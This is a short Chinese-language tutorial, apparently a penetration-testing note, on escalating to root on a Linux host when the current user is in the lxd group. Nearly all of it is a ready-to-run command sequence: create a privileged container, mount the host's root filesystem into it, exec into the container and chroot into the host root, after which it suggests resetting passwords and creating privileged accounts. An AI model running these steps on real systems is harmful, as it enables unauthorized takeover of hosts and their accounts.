当当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限
一、使用lxc创建一个ubuntu容器并导入到lxd中(通常网上资料都alpine镜像,但其实可以使用任意容器)
lxc init ubuntu: ignite -c security.privileged=true
二、配置容器,将宿主机根目录挂载到容器/mnt/root目录下。
lxc config device add ignite mydevice disk source=/ path=/mnt/root
三、启动并进入容器中,此时获取到的是容器的shell
lxc start ignite lxc exec ignite /bin/sh
四、由于已经将宿主机根目录挂载到了容器的/mnt/root目录下,因此在容器内,/mnt/root/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
chroot /mnt/root
获取权限后可以对这个被挂载的根目录系统进行密码重置,创建特权账号等一起写高权限操作。等同于获取宿主机root权限